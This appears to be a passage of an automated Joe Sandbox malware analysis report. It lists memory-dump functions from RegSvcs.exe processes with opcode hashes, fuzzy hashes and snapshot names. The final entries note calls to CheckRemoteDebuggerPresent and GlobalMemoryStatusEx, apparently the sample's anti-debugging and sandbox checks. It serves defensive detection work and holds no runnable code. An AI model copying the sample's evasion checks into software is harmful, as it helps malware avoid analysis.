Opcode ID: ccbecfc3043de3d718adc4eab1176ec998c22681c9a8f0f19c1a266817932376
Instruction ID: 164b228471425da035b61d733a37708146c5f16a4107357bd39c0258c88f9ff8
Opcode Fuzzy Hash: ccbecfc3043de3d718adc4eab1176ec998c22681c9a8f0f19c1a266817932376
Instruction Fuzzy Hash: 9331C074B1030A8FEB59AB74D41466F7BA3AF89604F214428D902DB395EF35DD42CBE1

Function 06E52070 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf86c4986bad9bcf8f589f59d801d4e403aa9311940b7fa849900693e200269
Instruction ID: 423e78ecf1d5a8e442ce50cc6b53648dbfaa23c2e7e546c4b4557b7ae17e4dea
Opcode Fuzzy Hash: baf86c4986bad9bcf8f589f59d801d4e403aa9311940b7fa849900693e200269
Instruction Fuzzy Hash: 6E318D30E1025A8FDB59DFA4D8946AEB7B2EF89300F108519ED46EB350EB31ED46CB50

Function 06E5D921 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48a92abee5c2b0fac3917d5439cbbf4ed51a4554796e3d6e885d37e640ece0e6
Instruction ID: 40533f77fcb7e5d59c5e0a0da897668b25c8d9e1eadaf8b55e07c0c67fc1310c
Opcode Fuzzy Hash: 48a92abee5c2b0fac3917d5439cbbf4ed51a4554796e3d6e885d37e640ece0e6
Instruction Fuzzy Hash: 99317C70E1031A8FEF55DFA8C89469EB7B5FF85304F159929D905EB340EBB0E9468B80

Function 06E52080 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b156b89928eb9d42daa23493ad11fd28e0eb34b945a6caa32fbcdd055999a101
Instruction ID: 049ecc3555689c00cbe8784f35da5c27c20e539f48ff723eef857819686331a4
Opcode Fuzzy Hash: b156b89928eb9d42daa23493ad11fd28e0eb34b945a6caa32fbcdd055999a101
Instruction Fuzzy Hash: B7315B30E1021A9FDB58DFA4D89469EB7B6AF89300F118519ED06EB350EB71ED46CB90

Function 06E53A58 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 444564e5b9d9b4d5d69681ffb29db58f081ab5d4724012ee4fc65e6c9a07a419
Instruction ID: 4df87bd5d3a32096754cbcbcdfcf03e7c2fce399c25d6766e427f17533d1d17b
Opcode Fuzzy Hash: 444564e5b9d9b4d5d69681ffb29db58f081ab5d4724012ee4fc65e6c9a07a419
Instruction Fuzzy Hash: A6217C75F016099FEB40DFA9D881AAEBBF5EB48750F008169E909E7355E734ED008B90

Function 06E53A68 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 875ad5aebe4e8e458a88a32b0c2f369bc17e7d9659e69ad6d96c3738bb7734ae
Instruction ID: d8da12a0926a7c78a407d0fb9cd7b89d17817841657dd114e26a9d34cb59b135
Opcode Fuzzy Hash: 875ad5aebe4e8e458a88a32b0c2f369bc17e7d9659e69ad6d96c3738bb7734ae
Instruction Fuzzy Hash: E9219875F016099FEB50DFA8D880AAEBBF1EB88340F108169E909E7395E734DD008B90

Function 0139D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2563647216.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_139d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af97affabac8fa0b7d8fa228c6c9c1fdcbe19e352f5c05d571c183b05169f8b4
Instruction ID: 5aa2fb49491e0eafd52079ef84c5e41fa2b2510a56014f5df16b22c0ce44b198
Opcode Fuzzy Hash: af97affabac8fa0b7d8fa228c6c9c1fdcbe19e352f5c05d571c183b05169f8b4
Instruction Fuzzy Hash: 0A2122B1504204DFDF11DF98D9C1B26BBA5FB84318F20C56DD9094B396C33AD447CA62

Function 0139D118 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2563647216.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_139d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b363fbcb1934ac0c752034db74f204bffb80e8ae2ec98e2cbc8d5ec2f1dbe7f9
Instruction ID: 9abc7b9ca82f5da1e112c7ad43423bc9ea7cc234b560dc667a3f111ba7b5e149
Opcode Fuzzy Hash: b363fbcb1934ac0c752034db74f204bffb80e8ae2ec98e2cbc8d5ec2f1dbe7f9
Instruction Fuzzy Hash: 122101B2604304DFDF45DF54D9C1B26BBA6FB84318F20C66DE90A4B296C33AD846CA61

Function 06E53B78 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfd66234bb9ecfbc2a0bb3e5c5582ab964224334ef00616e515c5cc71caebc5f
Instruction ID: a479c8262ba1fe7e93c88d31341d4d21f4c00505141c8dc5303aef3cc1e3a2b0
Opcode Fuzzy Hash: cfd66234bb9ecfbc2a0bb3e5c5582ab964224334ef00616e515c5cc71caebc5f
Instruction Fuzzy Hash: 75116136B101694FDF94AA79D818AEE77EAEBC8250F01457AD806EB344EE25DC018B91

Function 06E53DB0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 466b15feb5b86517dc4286c3f653c8418c82135bc30578584c13409517cb6acb
Instruction ID: bf85cbffe95475578ab9c6cdde0aa63e95ba3ed2d18f721ee1004f8c094f24a4
Opcode Fuzzy Hash: 466b15feb5b86517dc4286c3f653c8418c82135bc30578584c13409517cb6acb
Instruction Fuzzy Hash: 3F017B35B002550BCB61967CD41436FB7EADFCA718F108439EA0AC7381EE21DC034B84

Function 06E589B8 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a48cd06ec03a131f55abe364dea78b4bf65e3c194877cc1c52e27e37998e694b
Instruction ID: 2ac2bc23ab8b11d8c82f73b841569e349090585fef1900bd415fbe297acfb599
Opcode Fuzzy Hash: a48cd06ec03a131f55abe364dea78b4bf65e3c194877cc1c52e27e37998e694b
Instruction Fuzzy Hash: 3411C830B102698BDFA4DB68D8507AE77A6EB81354F0044BAD909D73C1EB31DD418B92

Function 06E5ED37 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa070f159da5a9815edfdd88bc86dcb70bbae6c399297581ee87177aa4d40a51
Instruction ID: 9e8587c65e838843eb3bbc94759d7a5810d1fe5eb5daf750f8caebee0a01f5e1
Opcode Fuzzy Hash: fa070f159da5a9815edfdd88bc86dcb70bbae6c399297581ee87177aa4d40a51
Instruction Fuzzy Hash: 9101DF31F101114BDFA5D67C989576EA3DADBC9314F11983AE90ACB380EE25DD038BD1

Function 0139D02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2563647216.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_139d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
Instruction ID: 92950aa416fcc1ccc5ee42fd8e2599eb4ce58bd6d185e0990b512c73bc8f8553
Opcode Fuzzy Hash: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
Instruction Fuzzy Hash: 0411BB76504284CFCB12CF58D9C4B15BFA1FB84318F28C6AAD8494B757C33AD44ACB62

Function 06E53830 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a19f9db3fdd71ad48a57a84642a40daa50ada3155eccbd0cae8d69d3163c71f4
Instruction ID: 2221bbb4e935b9b6967b2d9246aa2de7e689b585aa93492aae467cff408a1c36
Opcode Fuzzy Hash: a19f9db3fdd71ad48a57a84642a40daa50ada3155eccbd0cae8d69d3163c71f4
Instruction Fuzzy Hash: 7B21FFB5C002199FDB00CF9AD984BDEFBB4FB48314F10812AE918A7240D378A954CFA5

Function 06E53838 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ece294084efb5de3ad71e5cb8deccf6c5ffe0b97b575c3320023fe4fa2975a8f
Instruction ID: d921f5029b52e85765b2648a151e5231f744a9205bf57d4955bf15c759456296
Opcode Fuzzy Hash: ece294084efb5de3ad71e5cb8deccf6c5ffe0b97b575c3320023fe4fa2975a8f
Instruction Fuzzy Hash: A911B0B5D01259AFDB00CF9AD884ADEFBB4FB48724F10812AE918A7340D374A954CFA5

Function 0139D113 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2563647216.000000000139D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0139D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_139d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 571ae3314b5eab4f3956dd8972c21c0340599e146b22899774add593c253268d
Instruction ID: eac73f1f10fb138cd40a22246e8afdeaeaacbe846dcfda0bb7a8d019e4dd6f4b
Opcode Fuzzy Hash: 571ae3314b5eab4f3956dd8972c21c0340599e146b22899774add593c253268d
Instruction Fuzzy Hash: A811BFB6504284CFDB06CF54D9C4B15BFB2FB84318F24C6ADD8494B656C33AD44ACB51

Function 06E53B69 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abaa82f2ecfa2905c785a7261bc89e3add81f7ca3f748fcc5138e1c1c198c8c4
Instruction ID: 8ccb0fbb0765532de26cff4364e5c39b0805c8a9e434028435a868e16d5aeaac
Opcode Fuzzy Hash: abaa82f2ecfa2905c785a7261bc89e3add81f7ca3f748fcc5138e1c1c198c8c4
Instruction Fuzzy Hash: 84018436B101594BDB94E9A9DC14AEE77EEDBC8650F01403AD90AE7244FE24DD058791

Function 06E53DC0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41920204746060f9d7bc70f94b44cfc6b61fc28260263c4e1fce941b032beb2f
Instruction ID: d7f7bd6b73d4d635dab255dc8b964b460fc27d5be380670f08a0d7ae1bb95df8
Opcode Fuzzy Hash: 41920204746060f9d7bc70f94b44cfc6b61fc28260263c4e1fce941b032beb2f
Instruction Fuzzy Hash: DA01F435B102150BDBA0966DD45472FB3DAEBCA754F208439EA0BC7380FE65EC030795

Function 06E5A2A8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44058421a78d51048fad1ad2d18ef50dbc96f6ee95e8cdd11117c1c7562a525d
Instruction ID: 98542dd8acb6a6833d6fc02ae789cf78b35bf8cc52ddfae4dedbc00e56f0946f
Opcode Fuzzy Hash: 44058421a78d51048fad1ad2d18ef50dbc96f6ee95e8cdd11117c1c7562a525d
Instruction Fuzzy Hash: 9101FC347102054FE760DA7CE85571E7BE5DB89718F10547DEA0ACB351EE15EC028784

Function 06E5ED48 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0237f85f3fdbff4d5e15a8955523c2d52e727d15b84157315b198e71b27ff9e4
Instruction ID: a23980419dd7ec83506bde967535658d7fe4e2603190d6daf3f1ea2e4d8dbb2f
Opcode Fuzzy Hash: 0237f85f3fdbff4d5e15a8955523c2d52e727d15b84157315b198e71b27ff9e4
Instruction Fuzzy Hash: 0E01A431B101150BDBA5967C985472EB7DAD7C9724F109839ED0ACB380EE25DD434B95

Function 06E5A2B8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2dd9bd091702b2a69e3ac63017b5992a889150107ef65b65c7b7449207dc13f
Instruction ID: 491a2482a4f2e24a539a734c751c879470b92ba470e11c11d2228e11863932b2
Opcode Fuzzy Hash: f2dd9bd091702b2a69e3ac63017b5992a889150107ef65b65c7b7449207dc13f
Instruction Fuzzy Hash: 1301A434B102154FEBA4DA6CE85572E77DAEB89718F10953CEA0ACB350EE25EC028784

Function 06E5C790 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fb0d7750ffa505212ea20670126e317e53ade7c7ea38b037b649c3af61d667a
Instruction ID: 81ac5d973143767d1cd1dd68e6b9088e6e7a791298861b43b85d582eae47f683
Opcode Fuzzy Hash: 4fb0d7750ffa505212ea20670126e317e53ade7c7ea38b037b649c3af61d667a
Instruction Fuzzy Hash: D601F971F103249BCB549A69EC5069D7779F789714F10543DEA01E7380DB35AC058BC0

Function 06E57E68 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cbe7918218a86d81c45dd0fd08f24abd0509197fffedeb95feb348e6a3e1d10
Instruction ID: c0a16da0e87fa777ceef977e538dbb6feb53455f420520ff6a98b58e28d64bbf
Opcode Fuzzy Hash: 6cbe7918218a86d81c45dd0fd08f24abd0509197fffedeb95feb348e6a3e1d10
Instruction Fuzzy Hash: 1FF0A435A00305DFEFA4CA48E9402F97765EB40314F16646EDE09C7241EF35DD25CB90

Function 06E56008 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae7392d8d99a195d6a16ba222c9a5cb57ce992e27c70b683fc66efe23192802d
Instruction ID: 64c9b5b099d6cfad01eca1c5f59763f36b29a319c96b51ab8f7c57a1124ff02a
Opcode Fuzzy Hash: ae7392d8d99a195d6a16ba222c9a5cb57ce992e27c70b683fc66efe23192802d
Instruction Fuzzy Hash: 28E0D871E0534DABDF20CA70CD0571EBBB8DB01209F614997DD04CB191F576D9059791

Non-executed Functions

Function 06E50040 Relevance: 2.0, Instructions: 1969COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d38ceaad84733d6cc49a98ac3c15ff06e118c29c7edc05b4e944043846388821
Instruction ID: 9dc268bdd1aca5a635abff21c4e3b19fd92bcd22d07bc30027eabc18745af0f9
Opcode Fuzzy Hash: d38ceaad84733d6cc49a98ac3c15ff06e118c29c7edc05b4e944043846388821
Instruction Fuzzy Hash: B323F931D10B198ECB11EF68C8946A9F7B1FF99300F55D79AE458B7221EB70AAC4CB41

Function 06E5E358 Relevance: .6, Instructions: 567COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e26235335712a2e2be700fbcd949f8320e1aff6f86aea33db25757bf3d2346
Instruction ID: eea91f2cae734c191366b93707c16c67c29c329164ce9278e9edce471a357923
Opcode Fuzzy Hash: 05e26235335712a2e2be700fbcd949f8320e1aff6f86aea33db25757bf3d2346
Instruction Fuzzy Hash: 3622BE30B102058FDB54DB68D484BADB7F2FF88314F259569D90ADB3A1DB35ED428B81

Function 06E57238 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8700fe36ece5fe0f3bac896c63faa668645d5243ebfb2ad8e88a1bc3ea7463b1
Instruction ID: 42547d7796bef8d4ddc7c0fc420852ff4817011ef7336e0c87c1baa0fadfc060
Opcode Fuzzy Hash: 8700fe36ece5fe0f3bac896c63faa668645d5243ebfb2ad8e88a1bc3ea7463b1
Instruction Fuzzy Hash: C1122A30E01219CFEF64DF65C854A9EB7B2BF88304F2195A9D90AAB355DB309D85CB81

Function 01674308 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2566369542.0000000001670000.00000040.00000800.00020000.00000000.sdmp, Offset: 01670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1670000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d81c55d4a416eb29bcea63eeb5d1ac5669dd0f665371ca2e754e27e5cd25bb5a
Instruction ID: 55367c64875b2c1c566170d4da50430d8096d06a87ff3a540bdaee0bd97966fc
Opcode Fuzzy Hash: d81c55d4a416eb29bcea63eeb5d1ac5669dd0f665371ca2e754e27e5cd25bb5a
Instruction Fuzzy Hash: 97B13B71E00219CFEB14CFA9DC897ADBBF2AF88714F148129D815AB354EB749845CF91

Analysis Process: RegSvcs.exePID: 5768, Parent PID: 6436COMMON

Execution Graph

Execution Coverage:	13.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	53
Total number of Limit Nodes:	4

Executed Functions

Function 06635150 Relevance: 1.8, Strings: 1, Instructions: 599
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06635535

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 23e743c720495a78ce721559b3fedac878ecec448062cf8bf7db93ff8053581e
Instruction ID: c141df1c88502fedca97d217c94f46c0a967d81237d1e68a819a28d9c6e68242
Opcode Fuzzy Hash: 23e743c720495a78ce721559b3fedac878ecec448062cf8bf7db93ff8053581e
Instruction Fuzzy Hash: 3322B075E002258FDF64DFA4C9806AEB7B2EF89310F24856AD406EB355DB31ED46CB90

Function 06632348 Relevance: 1.5, Instructions: 1481COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0c0cad7c6b671626fa909bc7796bec74f49ceee9163970611d358b47d53a57e
Instruction ID: dc1e8e148f67a8d99fa20fece94823dba9ffbbb1b80607d286018289b010170b
Opcode Fuzzy Hash: a0c0cad7c6b671626fa909bc7796bec74f49ceee9163970611d358b47d53a57e
Instruction Fuzzy Hash: 66D27A34E00219CFDB64DF68C494AADB7B2FF85310F5485AAD449AB365EB31ED85CB80

Function 06636188 Relevance: .8, Instructions: 818COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e63744fbbb11758abbe91725043395ed8cd84e034afbbcfac20bf0008c4a4ef
Instruction ID: a8cd5b456199a34c08e9600422746c7665801aadc57ae680feab37e55ae03e01
Opcode Fuzzy Hash: 8e63744fbbb11758abbe91725043395ed8cd84e034afbbcfac20bf0008c4a4ef
Instruction Fuzzy Hash: 0262BF34B00225AFDB54DB68D594BADB7F2EF88310F248469E806DB395DB31ED46CB90

Function 0663B1D8 Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef5ae43e534a7fc9afb1f0053bf1b11b39c0ef54862c0ffbf6a345c21b53a07f
Instruction ID: 48394e39a675fb6c1a2cdbf10b6d80fc2ebb9e932aac76380bc17be59ff5e92e
Opcode Fuzzy Hash: ef5ae43e534a7fc9afb1f0053bf1b11b39c0ef54862c0ffbf6a345c21b53a07f
Instruction Fuzzy Hash: 7C527E34E002298FEF64DF68D8907ADB7F2EB95310F24856AE405EB395DA34DC85CB91

Function 0663C130 Relevance: .6, Instructions: 646
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 216cd99a2148dfa1d39acaab1c48ef8915df70c4263feb035c2ef0d2eb6d7861
Instruction ID: 0e5a37a91e90e457b0adba91c178d7dd9dd1794815b9a0d27d46335e60f9a7a7
Opcode Fuzzy Hash: 216cd99a2148dfa1d39acaab1c48ef8915df70c4263feb035c2ef0d2eb6d7861
Instruction Fuzzy Hash: AB329134B002199FEF54DB68D884BAEB7B2FB88310F108569E515EB395DB75EC42CB90

Function 06637918 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5400d8842c9da09c2b399f42f40ad99fb893e6a6400defed66588f27258ce5d8
Instruction ID: 170f5f49fcb85af72c77516fc07f64be4d55815ff5655b2d212246f5cf66fe10
Opcode Fuzzy Hash: 5400d8842c9da09c2b399f42f40ad99fb893e6a6400defed66588f27258ce5d8
Instruction Fuzzy Hash: FE029F74B0021A8FDB54DF78D894AAEBBF2EF84310F248569D4069B395DB31ED42CB94

Function 00DEF79D Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00DEF83F

Memory Dump Source

Source File: 0000000C.00000002.3369115971.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_de0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: bb559aac3a38d4dc2bf59ba350764ca85bdc71a675560fd50556e83127a235a5
Instruction ID: 8f476a1d9ee1542aeb4d6fea448939b58d5b37d50268219bb4a855fb728c0f99
Opcode Fuzzy Hash: bb559aac3a38d4dc2bf59ba350764ca85bdc71a675560fd50556e83127a235a5
Instruction Fuzzy Hash: 3121A7B1C0025A9FDB10DFAAC4447EEBBF4EF48320F14852AD948A7340D338A841CFA1

Function 00DE7FD8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 00DE804F

Memory Dump Source

Source File: 0000000C.00000002.3369115971.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_de0000_RegSvcs.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: dfc98dedfc34b641c684c045ff6c0a437ec9b55fdd11058d73bd4a7e6370f1c4
Instruction ID: 83eeed89c7e17bac9e35775b6664345f6d113ce157b51af9fed1a94380610568
Opcode Fuzzy Hash: dfc98dedfc34b641c684c045ff6c0a437ec9b55fdd11058d73bd4a7e6370f1c4
Instruction Fuzzy Hash: 0A2157B1800259CFDB10CF9AC884BEEFBF4AF48320F14841AE859A3350D778A944CF60

Function 00DE7FD7 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 00DE804F

Memory Dump Source

Source File: 0000000C.00000002.3369115971.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_de0000_RegSvcs.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
